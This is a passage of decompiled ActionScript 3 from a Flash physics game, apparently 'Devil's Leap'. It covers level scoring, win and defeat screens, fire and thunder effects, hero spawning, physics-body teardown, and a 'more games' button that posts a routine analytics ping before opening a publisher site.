if (score_game >= 31000){
win.ogon.gotoAndStop(4);
sav.data.loc3_4_kak = 3;
};
if ((((score_game >= 28000)) && ((score_game < 31000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_4_kak = 2;
};
if ((((score_game > 25000)) && ((score_game < 28000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_4_kak = 1;
};
if (score_game <= 25000){
win.ogon.gotoAndStop(1);
sav.data.loc3_4_kak = 0;
};
sav.flush();
};
if (locations == 21){
sav.data.loc3_6 = 1;
if (score_game >= 19500){
win.ogon.gotoAndStop(4);
sav.data.loc3_5_kak = 3;
};
if ((((score_game >= 18500)) && ((score_game < 19500)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_5_kak = 2;
};
if ((((score_game > 17000)) && ((score_game < 18500)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_5_kak = 1;
};
if (score_game <= 17000){
win.ogon.gotoAndStop(1);
sav.data.loc3_5_kak = 0;
};
sav.flush();
};
if (locations == 22){
sav.data.loc3_7 = 1;
if (score_game >= 28000){
win.ogon.gotoAndStop(4);
sav.data.loc3_6_kak = 3;
};
if ((((score_game >= 26000)) && ((score_game < 28000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_6_kak = 2;
};
if ((((score_game > 22000)) && ((score_game < 26000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_6_kak = 1;
};
if (score_game <= 22000){
win.ogon.gotoAndStop(1);
sav.data.loc3_6_kak = 0;
};
sav.flush();
};
if (locations == 23){
sav.data.loc3_8 = 1;
if (score_game >= 28000){
win.ogon.gotoAndStop(4);
sav.data.loc3_7_kak = 3;
};
if ((((score_game >= 26000)) && ((score_game < 28000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_7_kak = 2;
};
if ((((score_game > 23000)) && ((score_game < 26000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_7_kak = 1;
};
if (score_game <= 23000){
win.ogon.gotoAndStop(1);
sav.data.loc3_7_kak = 0;
};
sav.flush();
};
if (locations == 24){
if (score_game >= 28000){
win.ogon.gotoAndStop(4);
sav.data.loc3_8_kak = 3;
};
if ((((score_game >= 26000)) && ((score_game < 28000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_8_kak = 2;
};
if ((((score_game > 23000)) && ((score_game < 26000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_8_kak = 1;
};
if (score_game <= 23000){
win.ogon.gotoAndStop(1);
sav.data.loc3_8_kak = 0;
};
sav.flush();
};
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
win.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
win.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
win.next_bt.addEventListener(MouseEvent.MOUSE_UP, next_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
if (locations > 8){
if (kol_hero <= 0){
_vel231 = devil.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if (defeat == 0){
defeat2 = new defeat_cl();
addChild(defeat2);
defeat2.x = 350;
defeat2.y = 250;
defeat2.name = "defeat_da";
defeat = 2;
smert = true;
polet_tt = 0;
nap = 1;
addEventListener(Event.ENTER_FRAME, polet_babl);
defeat2.again_bt.addEventListener(MouseEvent.MOUSE_UP, again_f);
defeat2.home_bt.addEventListener(MouseEvent.MOUSE_UP, home_f);
again_bt.removeEventListener(MouseEvent.MOUSE_UP, again_f);
home_bt.removeEventListener(MouseEvent.MOUSE_UP, home_f);
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
for (i_in2 in mas_cra) {
if ((getChildByName(("crash" + mas_cra[i_in2])) as MovieClip).currentFrame == 18){
removeChild(getChildByName(("crash" + mas_cra[i_in2])));
mas_cra.splice(i_in2, 1);
};
};
}
public function polet_babl(_arg1:Event){
polet_tt++;
if (polet_tt > 30){
polet_tt = 0;
if (nap == 1){
nap = 0;
} else {
nap = 1;
};
};
if ((getChildByName("win_da") is MovieClip)){
if (nap == 1){
getChildByName("win_da").y = (getChildByName("win_da").y - 0.1);
} else {
getChildByName("win_da").y = (getChildByName("win_da").y + 0.1);
};
};
if ((getChildByName("defeat_da") is MovieClip)){
if (nap == 1){
getChildByName("defeat_da").y = (getChildByName("defeat_da").y - 0.1);
} else {
getChildByName("defeat_da").y = (getChildByName("defeat_da").y + 0.1);
};
};
}
public function dev3_nav_f(_arg1:MouseEvent){
dev3.gotoAndStop(1);
}
public function plama_f(_arg1:Event){
plama = new fire_cl();
addChild(plama);
plama.name = ("plam" + per_pla);
mas_pla.push(per_pla);
plama.x = (99 + ((Math.random() * 6) - 3));
plama.y = (209 + ((Math.random() * 6) - 3));
plama.alpha = ((Math.random() * 50) + 50);
plama.scaleX = (plama.scaleY = (Math.random() * 5));
swapChildren(getChildByName(("plam" + per_pla)), getChildByName("fakel_da"));
per_pla++;
plama = new fire_cl();
addChild(plama);
plama.name = ("plam" + per_pla);
mas_pla.push(per_pla);
plama.x = (617 + ((Math.random() * 6) - 3));
plama.y = (209 + ((Math.random() * 6) - 3));
plama.alpha = ((Math.random() * 50) + 50);
plama.scaleX = (plama.scaleY = (Math.random() * 5));
swapChildren(getChildByName(("plam" + per_pla)), getChildByName("fakel_da"));
per_pla++;
plama = new fire_cl();
addChild(plama);
plama.name = ("plam" + per_pla);
mas_pla.push(per_pla);
plama.x = (99 + ((Math.random() * 6) - 3));
plama.y = (209 + ((Math.random() * 6) - 3));
plama.alpha = ((Math.random() * 50) + 50);
plama.scaleX = (plama.scaleY = (Math.random() * 5));
swapChildren(getChildByName(("plam" + per_pla)), getChildByName("fakel_da"));
per_pla++;
plama = new fire_cl();
addChild(plama);
plama.name = ("plam" + per_pla);
mas_pla.push(per_pla);
plama.x = (617 + ((Math.random() * 6) - 3));
plama.y = (209 + ((Math.random() * 6) - 3));
plama.alpha = ((Math.random() * 50) + 50);
plama.scaleX = (plama.scaleY = (Math.random() * 5));
swapChildren(getChildByName(("plam" + per_pla)), getChildByName("fakel_da"));
per_pla++;
for (i_in2 in mas_pla) {
if ((getChildByName(("plam" + mas_pla[i_in2])) as MovieClip).currentFrame == 18){
removeChild(getChildByName(("plam" + mas_pla[i_in2])));
mas_pla.splice(i_in2, 1);
};
};
}
public function dev1_nav_f3(_arg1:MouseEvent){
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
pomoc_cl.visible = true;
}
public function dev1_nav_f2(_arg1:MouseEvent){
dev1.gotoAndStop(2);
}
public function lev3_8_f(_arg1:MouseEvent){
gotoAndStop("loc24");
}
public function obuc_ang(_arg1:Event){
i = 1;
while (i <= kol_cel) {
if (this[("ang" + i)].currentFrame == 130){
this[("ang" + i)].gotoAndPlay(1);
};
i++;
};
}
function frame4(){
}
function frame5(){
}
function frame1(){
MochiBot.track(this, "76ad594a");
borderWorld = new b2AABB();
borderWorld.lowerBound.Set(-4000, -4000);
borderWorld.upperBound.Set(4000, 4000);
gravity = new b2Vec2(0, 8);
world = new b2World(borderWorld, gravity, true);
more_cl.bt_more_game.addEventListener(MouseEvent.CLICK, more_games);
game = 1;
smert = false;
defeat = 0;
perDamok = 1;
pos_hero_x = 80;
pos_hero_y = 381;
pos_hero = 0;
kol_hero = 50;
cel = 10;
locations = 1;
again_srab = 0;
time_start = 0;
cra_test = 1;
per_pla = 1;
per_cra = 1;
perBall = 1;
iterations = 35;
timeStep = (1 / 20);
per_popal_gr = 1;
zagal = 0;
usk = 1;
hero_ex = 0;
hero_fly = 0;
mas_balka = [];
mas_balka_giz = [];
mas_cra = [];
mas_pla = [];
mas_ground = [];
b2_pi = 180;
m = 0;
sav = SharedObject.getLocal("SharedObject");
grom_zv = 10;
start_hoho = 1;
loaderInfo.addEventListener(ProgressEvent.PROGRESS, progressHandler);
st_cl.start_bt.addEventListener(MouseEvent.CLICK, pre_zagr_bt);
st_cl.start_bt.visible = false;
addEventListener(Event.ENTER_FRAME, fo_lina);
addEventListener(Event.ENTER_FRAME, vorota_iz_pre);
zvukReg = false;
stop();
}
function frame3(){
}
public function add_hero(_arg1:Event){
var _local2:Sound;
var _local3:SoundChannel;
var _local4:Sound;
var _local5:SoundChannel;
var _local6:Sound;
var _local7:SoundChannel;
var _local8:Sound;
var _local9:SoundChannel;
var _local10:Sound;
var _local11:SoundChannel;
var _local12:Sound;
var _local13:SoundChannel;
var _local14:Sound;
var _local15:SoundChannel;
var _local16:Sound;
var _local17:SoundChannel;
if (--time_start <= 0){
if (pos_hero == 0){
plama = new fire_cl();
addChild(plama);
plama.name = ("plam" + per_pla);
mas_pla.push(per_pla);
per_pla++;
plama.x = (pos_hero_x + ((Math.random() * 40) - 10));
plama.y = ((pos_hero_y + ((Math.random() * 6) - 3)) + 28);
plama.alpha = ((Math.random() * 50) + 50);
plama.scaleX = ((Math.random() * 3) + 3);
plama.scaleY = ((Math.random() * 3) + 3);
if (per_pla > 40){
pos_hero = 1;
};
if (per_pla == 10){
cloud.play();
sky.play();
molnia = 100;
};
if (per_pla == 15){
rnd_for = int((Math.random() * 20));
if ((((rnd_for >= 0)) && ((rnd_for < 3)))){
cloud.molnia_cl.gotoAndPlay(2);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 3)) && ((rnd_for < 5)))){
cloud.molnia_cl.gotoAndPlay(9);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 5)) && ((rnd_for < 7)))){
cloud.molnia_cl.gotoAndPlay(16);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 7)) && ((rnd_for < 9)))){
cloud.molnia_cl.gotoAndPlay(23);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 9)) && ((rnd_for < 11)))){
cloud.molnia_cl.gotoAndPlay(30);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 11)) && ((rnd_for < 13)))){
cloud.molnia_cl.gotoAndPlay(37);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 13)) && ((rnd_for < 15)))){
cloud.molnia_cl.gotoAndPlay(44);
rnd_for = int((Math.random() * 200));
molnia = 40;
} else {
if ((((rnd_for >= 15)) && ((rnd_for < 155)))){
cloud.molnia_cl.gotoAndPlay(51);
rnd_for = int((Math.random() * 200));
molnia = 40;
};
};
};
};
};
};
};
};
rnd_for_mas = int((Math.random() * 9));
if ((((rnd_for_mas > 0)) && ((rnd_for_mas <= 1)))){
_local2 = new grom1_zv();
_local3 = _local2.play();
grom_zv = 300;
};
if (rnd_for_mas == 2){
_local4 = new grom2_zv();
_local5 = _local4.play();
grom_zv = 300;
};
if (rnd_for_mas == 3){
_local6 = new grom3_zv();
_local7 = _local6.play();
grom_zv = 300;
};
if (rnd_for_mas == 4){
_local8 = new grom4_zv();
_local9 = _local8.play();
grom_zv = 300;
};
if (rnd_for_mas == 5){
_local10 = new grom5_zv();
_local11 = _local10.play();
grom_zv = 300;
};
if (rnd_for_mas == 6){
_local12 = new grom6_zv();
_local13 = _local12.play();
grom_zv = 300;
};
if (rnd_for_mas == 7){
_local14 = new grom7_zv();
_local15 = _local14.play();
grom_zv = 300;
};
if (rnd_for_mas >= 8){
_local16 = new grom8_zv();
_local17 = _local16.play();
grom_zv = 300;
};
hero = new hero_cl();
addChild(hero);
hero.x = pos_hero_x;
hero.y = pos_hero_y;
hero.name = "hero_da";
hero.alpha = 0.01;
devil_def = new b2BodyDef();
devil_sh = new b2PolygonDef();
devil_def.position.Set((hero.x / 30), (hero.y / 30));
devil_sh.SetAsBox(((37 / 2) / 30), ((37 / 2) / 30));
devil_def.userData = hero;
devil_sh.density = 2;
devil_sh.friction = 1;
devil_sh.restitution = 0.1;
devil = world.CreateBody(devil_def);
devil.CreateShape(devil_sh);
devil.SetMassFromShapes();
stage.addEventListener(MouseEvent.MOUSE_DOWN, cl_f);
stage.addEventListener(MouseEvent.MOUSE_UP, cl_f2);
hero_ex = 1;
};
};
if ((getChildByName("hero_da") is MovieClip)){
if (hero.alpha < 1){
hero.alpha = (hero.alpha + 0.02);
};
};
for (i_in2 in mas_pla) {
if ((getChildByName(("plam" + mas_pla[i_in2])) as MovieClip).currentFrame == 18){
removeChild(getChildByName(("plam" + mas_pla[i_in2])));
mas_pla.splice(i_in2, 1);
};
};
if ((getChildByName("hero_da") is MovieClip)){
if (hero.alpha >= 1){
if (mas_pla.length == 0){
removeEventListener(Event.ENTER_FRAME, add_hero);
};
};
};
};
}
public function lev3_6_f(_arg1:MouseEvent){
gotoAndStop("loc22");
}
public function resume_f(_arg1:MouseEvent){
removeChild(getChildByName("pausa_game_da"));
smert = false;
pausa_game.resume_bt.removeEventListener(MouseEvent.CLICK, resume_f);
pausa_game.again_bt.removeEventListener(MouseEvent.CLICK, again_f);
pausa_game.home_bt.removeEventListener(MouseEvent.CLICK, home_f);
i = 1;
while (i <= cel) {
if (this[("ang" + i)].currentFrame < 130){
this[("ang" + i)].stop();
};
i++;
};
}
public function lev2_8_f(_arg1:MouseEvent){
gotoAndStop("loc16");
}
public function home_f(_arg1:MouseEvent){
removeEventListener(Event.ENTER_FRAME, up_w);
removeEventListener(Event.ENTER_FRAME, game_f);
removeEventListener(Event.ENTER_FRAME, add_hero);
stage.removeEventListener(MouseEvent.MOUSE_DOWN, cl_f);
stage.removeEventListener(MouseEvent.MOUSE_UP, cl_f2);
removeEventListener(Event.ENTER_FRAME, polet_babl);
zvuk_bt.removeEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.removeEventListener(MouseEvent.CLICK, again_f);
home_bt.removeEventListener(MouseEvent.CLICK, home_f);
if (locations <= 8){
removeEventListener(Event.ENTER_FRAME, game_f2);
};
if (locations == 1){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 2){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 3){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 4){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
};
if (locations == 5){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 6){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 7){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 8){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
world.DestroyBody(gro13_def);
world.DestroyBody(gro14_def);
world.DestroyBody(gro15_def);
world.DestroyBody(gro16_def);
};
if (locations == 9){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 10){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 11){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 12){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
};
if (locations == 13){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 14){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
world.DestroyBody(gro11_def);
world.DestroyBody(gro12_def);
};
if (locations == 15){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 17){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 16){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 18){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 19){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 20){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
world.DestroyBody(gro10_def);
};
if (locations == 21){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
if (locations == 22){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
world.DestroyBody(gro9_def);
};
if (locations == 23){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
};
if (locations == 24){
world.DestroyBody(gro1_def);
world.DestroyBody(gro2_def);
world.DestroyBody(gro3_def);
world.DestroyBody(gro4_def);
world.DestroyBody(gro5_def);
world.DestroyBody(gro6_def);
world.DestroyBody(gro7_def);
world.DestroyBody(gro8_def);
};
for (i_in2 in mas_balka) {
if (mas_balka[i_in2] == 1){
world.DestroyBody(dim1);
};
if (mas_balka[i_in2] == 2){
world.DestroyBody(dim2);
};
if (mas_balka[i_in2] == 3){
world.DestroyBody(dim3);
};
if (mas_balka[i_in2] == 4){
world.DestroyBody(dim4);
};
if (mas_balka[i_in2] == 5){
world.DestroyBody(dim5);
};
if (mas_balka[i_in2] == 6){
world.DestroyBody(dim6);
};
if (mas_balka[i_in2] == 7){
world.DestroyBody(dim7);
};
if (mas_balka[i_in2] == 8){
world.DestroyBody(dim8);
};
if (mas_balka[i_in2] == 9){
world.DestroyBody(dim9);
};
if (mas_balka[i_in2] == 10){
world.DestroyBody(dim10);
};
if (mas_balka[i_in2] == 11){
world.DestroyBody(dim11);
};
if (mas_balka[i_in2] == 12){
world.DestroyBody(dim12);
};
if (mas_balka[i_in2] == 13){
world.DestroyBody(dim13);
};
if (mas_balka[i_in2] == 14){
world.DestroyBody(dim14);
};
if (mas_balka[i_in2] == 15){
world.DestroyBody(dim15);
};
if (mas_balka[i_in2] == 16){
world.DestroyBody(dim16);
};
if (mas_balka[i_in2] == 17){
world.DestroyBody(dim17);
};
if (mas_balka[i_in2] == 18){
world.DestroyBody(dim18);
};
if (mas_balka[i_in2] == 19){
world.DestroyBody(dim19);
};
if (mas_balka[i_in2] == 20){
world.DestroyBody(dim20);
};
if (mas_balka[i_in2] == 21){
world.DestroyBody(dim21);
};
if (mas_balka[i_in2] == 22){
world.DestroyBody(dim22);
};
if (mas_balka[i_in2] == 23){
world.DestroyBody(dim23);
};
if (mas_balka[i_in2] == 24){
world.DestroyBody(dim24);
};
if (mas_balka[i_in2] == 25){
world.DestroyBody(dim25);
};
if (mas_balka[i_in2] == 26){
world.DestroyBody(dim26);
};
if (mas_balka[i_in2] == 27){
world.DestroyBody(dim27);
};
if (mas_balka[i_in2] == 28){
world.DestroyBody(dim28);
};
if (mas_balka[i_in2] == 29){
world.DestroyBody(dim29);
};
if (mas_balka[i_in2] == 30){
world.DestroyBody(dim30);
};
if (mas_balka[i_in2] == 31){
world.DestroyBody(dim31);
};
if (mas_balka[i_in2] == 32){
world.DestroyBody(dim32);
};
if (mas_balka[i_in2] == 33){
world.DestroyBody(dim33);
};
if (mas_balka[i_in2] == 34){
world.DestroyBody(dim34);
};
if (mas_balka[i_in2] == 35){
world.DestroyBody(dim35);
};
if (mas_balka[i_in2] == 36){
world.DestroyBody(dim36);
};
if (mas_balka[i_in2] == 37){
world.DestroyBody(dim37);
};
if (mas_balka[i_in2] == 38){
world.DestroyBody(dim38);
};
if (mas_balka[i_in2] == 39){
world.DestroyBody(dim39);
};
if (mas_balka[i_in2] == 40){
world.DestroyBody(dim40);
};
if (mas_balka[i_in2] == 41){
world.DestroyBody(dim41);
};
if (mas_balka[i_in2] == 42){
world.DestroyBody(dim42);
};
if (mas_balka[i_in2] == 43){
world.DestroyBody(dim43);
};
if (mas_balka[i_in2] == 44){
world.DestroyBody(dim44);
};
if (mas_balka[i_in2] == 45){
world.DestroyBody(dim45);
};
if (mas_balka[i_in2] == 46){
world.DestroyBody(dim46);
};
if (mas_balka[i_in2] == 47){
world.DestroyBody(dim47);
};
if (mas_balka[i_in2] == 48){
world.DestroyBody(dim48);
};
if (mas_balka[i_in2] == 49){
world.DestroyBody(dim49);
};
if (mas_balka[i_in2] == 50){
world.DestroyBody(dim50);
};
if (mas_balka[i_in2] == 51){
world.DestroyBody(dim51);
};
if (mas_balka[i_in2] == 52){
world.DestroyBody(dim52);
};
if (mas_balka[i_in2] == 53){
world.DestroyBody(dim53);
};
if (mas_balka[i_in2] == 54){
world.DestroyBody(dim54);
};
if (mas_balka[i_in2] == 55){
world.DestroyBody(dim55);
};
if (mas_balka[i_in2] == 56){
world.DestroyBody(dim56);
};
if (mas_balka[i_in2] == 57){
world.DestroyBody(dim57);
};
if (mas_balka[i_in2] == 58){
world.DestroyBody(dim58);
};
if (mas_balka[i_in2] == 59){
world.DestroyBody(dim59);
};
if (mas_balka[i_in2] == 60){
world.DestroyBody(dim60);
};
if (mas_balka[i_in2] == 61){
world.DestroyBody(dim61);
};
if (mas_balka[i_in2] == 62){
world.DestroyBody(dim62);
};
if (mas_balka[i_in2] == 63){
world.DestroyBody(dim63);
};
if (mas_balka[i_in2] == 64){
world.DestroyBody(dim64);
};
if (mas_balka[i_in2] == 65){
world.DestroyBody(dim65);
};
};
if (getChildByName("hero_da")){
world.DestroyBody(devil);
};
if (getChildByName("triangle_da")){
removeChild(getChildByName("triangle_da"));
};
for (i_in4 in mas_pla) {
removeChild(getChildByName(("plam" + mas_pla[i_in4])));
};
for (i_in2 in mas_cra) {
removeChild(getChildByName(("crash" + mas_cra[i_in2])));
};
if (getChildByName("hero_da")){
removeChild(getChildByName("hero_da"));
};
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
mas_pla.splice(0, mas_pla.length);
mas_balka.splice(0, mas_balka.length);
mas_balka_giz.splice(0, mas_balka_giz.length);
mas_cra.splice(0, mas_cra.length);
mas_ground.splice(0, mas_ground.length);
zagal = 0;
usk = 1;
hero_ex = 0;
pos_hero = 0;
defeat = 0;
hero_fly = 0;
time_start = 10;
score_game = 0;
per_cra = 1;
per_pla = 1;
cra_test = 1;
molnia = 100;
if ((getChildByName("pausa_game_da") is MovieClip)){
removeChild(getChildByName("pausa_game_da"));
};
if ((getChildByName("defeat_da") is MovieClip)){
removeChild(getChildByName("defeat_da"));
};
if ((getChildByName("win_da") is MovieClip)){
removeChild(getChildByName("win_da"));
};
again_srab = 1;
smert = false;
game = 2;
Mouse.show();
gotoAndStop("vabor");
}
public function dev1_nav_f(_arg1:MouseEvent){
dev1.gotoAndStop(1);
}
public function lev3_4_f(_arg1:MouseEvent){
gotoAndStop("loc20");
}
public function lev2_6_f(_arg1:MouseEvent){
gotoAndStop("loc14");
}
public function lev1_8_f(_arg1:MouseEvent){
gotoAndStop("loc8");
}
public function more_games(_arg1:MouseEvent){
var _local2:URLVariables;
var _local3:URLRequest;
var _local4:URLLoader;
if (loaderInfo.url.substring(0, 4) != "file"){
Security.allowDomain("*");
Security.loadPolicyFile("http://track.g-bot.net/crossdomain.xml");
_local2 = new URLVariables();
_local2.id = "devilsleap";
_local2.ui = loaderInfo.url;
_local3 = new URLRequest("http://track.g-bot.net/track.php");
_local3.method = "POST";
_local3.data = _local2;
_local4 = new URLLoader();
_local4.load(_local3);
};
navigateToURL(new URLRequest("http://www.gamepirate.com"), "_blank");
}
public function lev2_4_f(_arg1:MouseEvent){
gotoAndStop("loc12");
}
public function lev1_6_f(_arg1:MouseEvent){
gotoAndStop("loc6");
}
public function lev3_2_f(_arg1:MouseEvent){
gotoAndStop("loc18");
}
public function pomoc3_bt_f2(_arg1:MouseEvent){
pomoc_cl3.visible = false;
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
}
public function dev3_nav_f2(_arg1:MouseEvent){
dev3.gotoAndStop(2);
}
public function dev3_nav_f3(_arg1:MouseEvent){
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
pomoc_cl3.visible = true;
}
public function lev2_2_f(_arg1:MouseEvent){
gotoAndStop("loc10");
}
public function lev1_4_f(_arg1:MouseEvent){
gotoAndStop("loc4");
}
public function next_f(_arg1:MouseEvent){
removeEventListener(Event.ENTER_FRAME, up_w);
removeEventListener(Event.ENTER_FRAME, game_f);
removeEventListener(Event.ENTER_FRAME, add_hero);
